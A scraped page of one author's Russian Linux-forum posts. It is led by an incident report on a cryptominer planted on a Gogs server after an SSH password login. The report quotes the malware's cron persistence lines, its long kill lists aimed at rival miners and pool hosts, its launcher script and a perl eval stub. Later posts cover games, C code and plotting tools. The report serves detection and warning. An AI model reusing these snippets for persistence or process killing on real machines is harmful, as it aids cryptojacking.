Внутри скриптов немного логики, определение процессора, много base64 строк, это бинарники которые скрипты восстанавливают если надо.

От пользователя отдельного этого запускался только gogs в автоматическом режиме, всё. Я считаю виноват гогс.

./gogs --version
Gogs version 0.11.53.0603
sha512sum ./gogs 
c7a5541cd03fdc69b12c714be32ba6d6e8fdad5af42b865a3cd1d333db6cba0130130399b6a8283dacab3794ff1b359e865fe47085633cb892d6119f6642603f  ./gogs

Хотел залить куда то вдруг кому покопать интересно, но в этом смысла нет, можно просто скачать нужную версию и проверить хеш, если совпало значит оно.

Конфиг был такой

APP_NAME = Gogs
RUN_USER = gogs
RUN_MODE = prod

[database]
DB_TYPE  = sqlite3
HOST     = 127.0.0.1:3306
NAME     = gogs
USER     = root
PASSWD   = 
SSL_MODE = disable
PATH     = /home/gogs/gogs/data/gogs.db

[repository]
ROOT = /home/gogs/gogs-repositories

[server]
DOMAIN           = localhost
HTTP_PORT        = 3000
ROOT_URL         = http://localhost:3000/
DISABLE_SSH      = false
SSH_PORT         = 22
START_SSH_SERVER = false
OFFLINE_MODE     = false

[mailer]
ENABLED = false

[service]
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL     = false
DISABLE_REGISTRATION   = true
ENABLE_CAPTCHA         = false
REQUIRE_SIGNIN_VIEW    = true

[picture]
DISABLE_GRAVATAR        = false
ENABLE_FEDERATED_AVATAR = false

[session]
PROVIDER = file

[log]
MODE      = file
LEVEL     = Info
ROOT_PATH = /home/gogs/gogs/log

[security]
INSTALL_LOCK = true
SECRET_KEY   = AHYsdf2GIsqRJkD

Собственно вот и всё. Можно ещё написать подробностей, но мне спать хоца. Гланое хеши выложил и основную инфу, кому надо смогут проверить нет ли у них такой параши.

Сравнил ещё через diff -qr никаких различий в gogs у меня и тут https://github.com/gogs/gogs/releases/tag/v0.11.53 linux_amd64.tar.gz нет. Не считая мною созданных файлов и иного созданного в процессе работы. Там я всё глазами проверил всё чисто.

Подытожу. Был скачан gogs настроен как в конфиге выше, для него был создан пользоваьтель gogs в домешнем каталоге которого и находился исполняемый файл, был написан юнит как на скрине выше который запускался при старте системы. Всё. До этого всё нормально было и работало, но после перезагрузки от пользователя gogs создались файлы и запустили майнер.

Скрипты я публиковатьк как сказал не буду что-бы мамкиным какерам не давать инструменты. Но скажу, оно прописывает пользоватю задачу в cron которая располагалась в /var/spool/cron/crontabs/gogs

1 1 */2 * * /home/gogs/.configrc/a/upd>/dev/null 2>&1
@reboot /home/gogs/.configrc/a/upd>/dev/null 2>&1
5 8 * * 1 /home/gogs/.configrc/b/sync>/dev/null 2>&1
@reboot /home/gogs/.configrc/b/sync>/dev/null 2>&1  
0 */23 * * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1

ОБРАТИТЕ ВНИМАНИЕ НА ПОСЛЕДНЮЮ СТРОЧКУ Если вы проверяете у себя.

В ./a/upd немного логики и запуск ./run и далее по цепочке, множество переходов вплоть до ./b где если сервер смотрит попой в мир с белым ip то всё, удалённый доступ есть по ключу. Но перед тем как запустится оно проверяте кучу майреров и пытается их убить лол )))))

Вон их скока всяких бывает


	killall \.Historys
	killall \.sshd
	killall neptune
	killall xm64
	killall xm32
	killall ld-linux
	killall xmrig
	killall \.xmrig
	killall suppoieup

	pkill -f sourplum
	pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
	
	ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "119.9.76.107:443"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ld-linux" | awk '{print $2}'|xargs kill -9

	ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
	ps auxf|grep Donald| awk '{print $2}'|xargs kill -9
	ps auxf|grep Macron| awk '{print $2}'|xargs kill -9
	ps auxf|grep ld-linux| awk '{print $2}'|xargs kill -9

	ps auxf|grep named| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
	ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9

	ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
	ps ax|grep -o './[0-9]* -c'| xargs pkill -f

	pkill -f /usr/bin/.sshd
	pkill -f acpid
	pkill -f Donald
	pkill -f Macron
	pkill -f AnXqV.yam
	pkill -f apaceha
	pkill -f askdljlqw
	pkill -f bashe
	pkill -f bashf
	pkill -f bashg
	pkill -f bashh
	pkill -f bashx
	pkill -f BI5zj
	pkill -f biosetjenkins
	pkill -f bonn.sh
	pkill -f bonns
	pkill -f conn.sh
	pkill -f conns
	pkill -f cryptonight
	pkill -f crypto-pool
	pkill -f ddg.2011
	pkill -f deamon
	pkill -f disk_genius
	pkill -f donns
	pkill -f Duck.sh
	pkill -f gddr
	pkill -f Guard.sh
	pkill -f i586
	pkill -f icb5o
	pkill -f ir29xc1
	pkill -f irqba2anc1
	pkill -f irqba5xnc1
	pkill -f irqbalanc1
	pkill -f irqbalance
	pkill -f irqbnc1
	pkill -f JnKihGjn
	pkill -f jweri
	pkill -f kw.sh
	pkill -f kworker34
	pkill -f kxjd
	pkill -f libapache
	pkill -f Loopback
	pkill -f lx26
	pkill -f mgwsl
	pkill -f minerd
	pkill -f minergate
	pkill -f minexmr
	pkill -f mixnerdx
	pkill -f mstxmr
	pkill -f nanoWatch
	pkill -f nopxi
	pkill -f NXLAi
	pkill -f performedl
	pkill -f polkitd
	pkill -f pro.sh
	pkill -f pythno
	pkill -f qW3xT.2
	pkill -f sourplum
	pkill -f stratum
	pkill -f sustes
	pkill -f wnTKYg
	pkill -f XbashY
	pkill -f XJnRj
	pkill -f xmrig
	pkill -f xmrigDaemon
	pkill -f xmrigMiner
	pkill -f ysaydh
	pkill -f zigw
	pkill -f ld-linux

И это ещё не всё, лол.

Оно даже по портам своих друзей по роду ищет

	netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 119.9.76.107 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 138.199.40.233:9137 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 185.150.117.29 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9

И только восле всех приготовлений, когда оно готово единолично майнить оно себя запускает

#!/bin/bash
./stop
./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
	if [ "$ARCH" == "i686" ]; then
		nohup ./anacron >>/dev/null & 
	elif [ "$ARCH" == "x86_64" ];   then
		./kswapd0
	fi
echo $! > bash.pid

К слову ./anacron у меня небыло.

Ещё оно содержит base64 строку которая декодируясь отдаётся в perl

eval unpack u=>q{_(R`@("`@("`@("`M($%D:6-I;VYA9&\@8V]M8 и так далее в этом виде дохрена перлоты

Всё. Я спать.

UPDATE3 АААААААААААААААААААААААААААААААААААААААААА

Я встал, а вдруг меня брутфорснули, короче смотрю сюда grep -in Accept /var/log/auth.log

И Уоооооооооопааааааанааааа

... 
25515:Sep 13 00:03:55 gnu sshd[250080]: Accepted password for gogs from 222.232.242.116 port 56529 ssh2
...

Чиииииииииииивоооооооооооооооо? Каким хером? Ай пи 222.232.242.116 South Korea🇰🇷 Seoul Seoul

Как оно пробралось? Вернее как он с внешнего ip ко мне в локалхост пришёл? Яж за провайдером? Или тут gogs мог подсобить туннель организовав? Я нихера не понял.

Судя по времени 00:03:55 коннект по ssh был до создания файлов 00∶31∶38.

UPDATE4: https://savepearlharbor.com/?p=296720

Я не первый https://savepearlharbor.com/?p=296720 GOGS тут походу не причём, меня просто каким то хером с внешнего ip хотя у меня мой динамический подконектились к моему пк. Лол.

Как? Я не догоняю и очень хочу спать. Оборудование провайдера похакано и оно во внутренней сети брутфорсит? Отпишите. А мне насрать я точно рпять спать. вСё.

 , , , ,

LINUX-ORG-RU ()

Матрица 4 нагенерировала 180 000 роликов

В которых я так понял меняется только показываемое время.

https://thechoiceisyours.whatisthematrix.com/ru/ завтра трейлер, нео проснись ты *****.

Чёт мне кажется что фильм будет так себе.

Но я надеюсь! Люблю матрицу.

Трейлер появился https://www.youtube.com/watch?v=8qB8EGNOtr8

Ничего не зелёное ((, где фильтры для антуражу? Вроде опять супергеройка с романтикой. Одно можно понять. У Нео отшибло память, ему помогли вспомнить, а потом сделали предложение от которого он не мог отказаться , а потом бдыыщщ, виуувиииууу тыррр тырррр, бабааааах, бууум, дрыыыщщщ и он всех победил. Короче не ждите матрицу, будет просто вероятно хороший боевик походу. Но к матрице уже отношение слабое.

 , , , ,

LINUX-ORG-RU ()

Фейковый фокус для окна [Решено]

Как сделать так что-бы заданное мною окно думало что оно в фокусе всегда, но никакого пользовательского ввода ему не шло, мышка, клава там?

Нужно для игры, когда её сворачиваю альт-таб она там звук икает страшно.

UDP: Ничего патчить не нужно игра INSURGENCY но тут подойдёт любая игра на SOURCE ENGINE. Есть параметр engine_no_focus_sleep 0 отключающий задержку sleep по умолчанию значение 50 миллисекунд. Оно ловит эвенты window_minimised/widow_unfocus/и подобное и начинает на заданное время стопорить игру целиком.

 , , , ,

LINUX-ORG-RU ()

switch и последовательность нескольких case

Я не совсем понимаю. Насколько плохо делать вот так.

switch(ch)
{
    case '%': case '$': case '#': foo(ch); break;
    case '!': bar(ch); break;
    default: break;
}

Вместо этого

switch(ch)
{
    case '%': foo(ch); break;
    case '$': foo(ch); break;
    case '#': foo(ch); break;
    case '!': bar(ch); break;
    default: break;
}

Или первое разворачивается во второе и всё хорошо? Тут коротко для примера, но допустим таких case 1: case 50 case 500: ... bla(data) штук 100500.

@Harald @i-rinat @beastie

UDP: Разницы нет, ассемблерный вывод одинаковый gcc/clang. Но я так и не нашёл где явно описано.

UDP2: Разница есть, но мужно для каждого конкретного случая смотреть чего да как объяснения ниже.

 , , , ,

LINUX-ORG-RU ()

Предложение по job форуму.

Предлагаю удалять в job все сообщения где такое

И ещё куча неактуальных тем среди актуальных.

То есть если заказчик написал что исполнитель найден, но не отметил галочкой «решено» (этого функционала вообще нет лол) или не написал в заголовке [закрыто] то тему просто удалять, если галочку поставил то оставлять так как явно видно что тема решена. Такие темы просто неактуальны и нет смысла им продолжать существовать рядом с теми где работника всё ещё ищут.

Или разрешить удаление таких тем путём отправки в Ссылки на некорректные сообщения (56)

Закрытые объявления о работе без пометки что они завершены, замусоривают список последних актуальных вакансий и не имеют практической ценности.

UDP: https://github.com/maxcom/lorsource/issues/965 Проблема есть, решений несколько, чво решите то и будет или так и оставим.

 , , , ,

LINUX-ORG-RU ()

Пайпы и графики из потока данных (plot)

Надмозгный заголовок, да. Суть. Хочу вот так ./myapp | some-plot выводить графики. Не картинку, а что-бы жрало что дают и рисовало в реалтайме. Например у меня сейсмодатчик программа его читает формирует нужный формат и пускает его в виде текста в терминал, плот кушает и показывает как кто-то ятвойдомшатал.

Питон не нужен, иное тоже, хочу обособленную программу которой надо только совать формат который она умеет и всё. Утилитки на сях, а если вызывать изнутри всегда есть popen. gnuplot я так понял так не может?

Во всяких IDE для 40 летних детей, есть такие встроенные штуки типа как тут https://i.imgur.com/Et4k6aw.png в thonny встроенный плоттер. Питон поливает чиселки, крайне примитивный плоттер сразу рисует. Вот что-то такое только нормальное и самостоятельное + безгеморойное.

Для просто визуального контроля нашёл https://github.com/annacrombie/plot Работает просто как палка, удобно.

Но хотелось бы гуйню, чёбы с масштабом и всё такое.

UDP: Запилил себе сам https://i.imgur.com/3xfHmeT.mp4. Если доделаю по нормальному то выложу тут. А пока мне и этого топорного варианта хватает.

UDP: Аахахаах, тока сейчас заметил, голоса не мои, на фоне ютуб работал оказывается ыгыгыгы

 , , , ,

LINUX-ORG-RU ()

15 Августа день протирания мониторов.

Протри монитор, он бедный у тебя в пыли :3

 , , , ,

LINUX-ORG-RU ()

14 Августа в 18:00 - Общий сбор всех Half-Life 2 игроков.

Все кто любит серию Half-Life приглашаются запустить и играть в Half-Life 2. 14 Августа, ради просто забавы вывода игры в топ онлайна на всех платформах. Рекомендуется запустить и играть именно Half-Life 2 в Steam что-бы там гарантированно вывести её в топ онлайна.

Сбор игроков начнётся 14 августа в 18:00 по московскому времени. Если у вас не будет времени играть вы можете просто запустить её и свернуть хотя бы на пол часа. Но желательно конечно просто вспомнить добрые времена и пройти один из эпизодов.

Зачем? Да не зачем, просто так. Каждому игроку будет гарантированно выдана монтировка в самой игре. =)

Если вам есть кому про это сказать и где это сделать то передайте это сообщение дальше.

UDP: Все игроки спят, тихий час. Не шуметь. Пик был 16182. Наверное больше не будет

 , , , ,

LINUX-ORG-RU ()

Кем заменить Леночку?

http://www.lenna.org/ [тут была сиська] https://en.wikipedia.org/wiki/File:Lenna_(test_image).png

Эти http://sipi.usc.edu/database/database.php?volume=textures прогнулись. И вообще.

Нужна тестовая картинка, с тян и желательно под CC0 всё такое =)

Лена хороша, но незнаю что с правами, там что-то про добросовестное использование от playboy. Или можно не парится?

ПЫСЫ У меня ощущение что я это уже спрашивал, но вроде нет.

UDP: Жду косплея от девушки. Потом сюда ссыль вставлю.

UDP FINAL: Баб Лена против! Толи лицемерка в виду того что попой светить с сиськами на весь мир это пожалуйста, а просто портрет в шляпке для науки и технологий ей жалко. Толь на неё надавили требовательно попросив высказать просьбу не использовать её фото в технических целях хотя использовалось всего лишь лицо в шляпке без ню, а вот сама фотка один фиг диступна в плейбой. Короче всё это мутно, но так как владелец всего этого плейбой и модель против. То ну и ладно! Я сказал только что девушке что косплей отменяется, отдал половину вознаграждения ( пясот рублёв гы ) за потраченное на обсуждение время.


Допуская то что может Лена и в правду по какой то неведомой причине реально против своей фотки и на неё никто не давил по этому поводу. Оставляю её фотокарточку в покое и на веки вечные в забвении включая даже закосы под неё.

Суть https://www.nature.com/articles/s41565-018-0337-2 нет @AP прогнулись, значит прогнулись.

Найду ещё более откровенное фото гыгыгы.

-The End-

 , , , ,

LINUX-ORG-RU ()

Ну чё FSR выпустили

Вот он https://github.com/GPUOpen-Effects/FidelityFX-FSR. Кто уже пилит патч для композиторов что-бы апскейлило на уровне системы? Ну типа запускаешь игру в окне, композитору говоришь, вот окно расширяй и оно у тебя в полноэкранном виде через FSR фильтрацию растягивается И да, надо на OGL2.1 перенести =)

(Да я знаю там требования к входному изображению есть иначе будет жопа, но пофиг)

Я пока не ковырял особо.

 , , , ,

LINUX-ORG-RU ()

Кто хочет 100000$ за картинку?

-22 июля команда разработки CS:GO запускает конкурс на 1 миллион долларов США «Грёзы и кошмары» среди работ в Мастерской.
-
-Нас интересуют 10 оригинальных раскрасок оружия, вдохновлённых грёзами или кошмарами. Каждая из 10 работ-победительниц принесёт своим авторам по 100 000 долларов США. Работу нужно загрузить в Мастерскую CS:GO, при этом у авторов должен быть аккаунт Steam -без ограничения прав. Кстати, работа может быть представлена несколькими людьми. 

Подробности https://store.steampowered.com/news/?emclan=103582791432902485&emgid=2999944978192983060

Так что если умеете рисовать и умеете/научитесь подготавливать текстурки на модельки обладая хорошей идеей. Чё бы не рискнуть. Предложить вариант свой, а там пусть хоть трава не растёт, повезёт и ты миллионер, нет… ну и хрен с ним.

Мододел всея ЛОРа @xDShot уже фигачишь? =)

 , , , ,

LINUX-ORG-RU ()

Black Mesa: Blue Shift - готова.

HECU Collective это российские модеры сделали на основе чёрной мезы мод вроде как повторяющий оригинальную игру с Барни Калхауном, охранником ставшим свидетелем звездеца который устроил Гордон Фримен. Игра проходит одновременно с временной линией похождения чувака с очками и гвоздодёром.

https://steamcommunity.com/sharedfiles/filedetails/?id=2424633574

https://www.moddb.com/mods/black-mesa-blue-shift-remake/news/chapter-2-insecurity-release

Можно качать если у вас есть https://store.steampowered.com/app/362890/Black_Mesa/ (нативочка для Linux имеется)

 , , , ,

LINUX-ORG-RU ()

RSS подписка на новые темы